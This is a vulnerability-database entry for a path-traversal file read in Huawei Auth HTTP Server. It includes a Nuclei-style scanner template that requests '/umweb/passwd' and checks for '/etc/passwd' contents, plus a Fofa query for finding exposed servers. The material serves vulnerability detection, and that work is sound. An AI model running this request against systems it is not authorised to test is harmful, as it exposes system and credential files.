SecurityContext

huawei-authhttp-lfi: Huawei Auth Http Server - Arbitrary File Read

Classification

  • Cwe: CWE-22, CWE-73
  • Not known: cvss score, cvss vector, epss score, epss percentile, cpe

Metadata

  • Fofa-query: server="Huawei Auth-Http Server 1.0"
  • Max-request: 1
  • Verified: yes

Labels

  • Name: Huawei Auth HTTP Server - Arbitrary File Read
  • Impact: Attackers can read arbitrary files on the server, potentially exposing sensitive information such as configuration files and credentials.
  • Remediation: Update to the latest version of Huawei Auth HTTP Server.
  • Vulnerability type: path_traversal
  • Vulnerability impact: file_system_read, information_disclosure
  • Requirement type: none
  • Labels source: securitycontext
  • Not known: requirements, from cve

```yaml

id: huawei-authhttp-lfi

info:

name: Huawei Auth Http Server - Arbitrary File Read

author: DhiyaneshDk

severity: high

description: Huawei Auth HTTP Server is vulnerable to Arbitrary File Read.

reference:

- https://mp.weixin.qq.com/s?__biz=MzIxMTg1ODAwNw==&mid=2247498499&idx=1&sn=6850c3e9a3df795e48ba9a10c9772ddd

- https://github.com/Vme18000yuan/FreePOC/blob/master/poc/pocsuite/huawei-auth-http-readfile.py

classification:

cwe-id: CWE-22,CWE-73

metadata:

verified: true

max-request: 1

fofa-query: server="Huawei Auth-Http Server 1.0"

tags: lfi,huawei,authhttp,vuln

http:

- method: GET

path:

- "{{BaseURL}}/umweb/passwd"

matchers-condition: and

matchers:

- type: word

part: header

words:

- "Huawei Auth-Http Server"

- type: regex

regex:

- "root:.*:0:0:"

- type: status

status:

- 200

digest: 4a0a004730450221009042545177d6a693d33297a54b6f4ac4335677a74dcf97bd9a9dcf928e1ad4dc022035312c845e9511e1a9a1e61c3f7e81b090a16a365bacda0673199cfde4c59acd:922c64590222798bb761d5b6d8e72950

```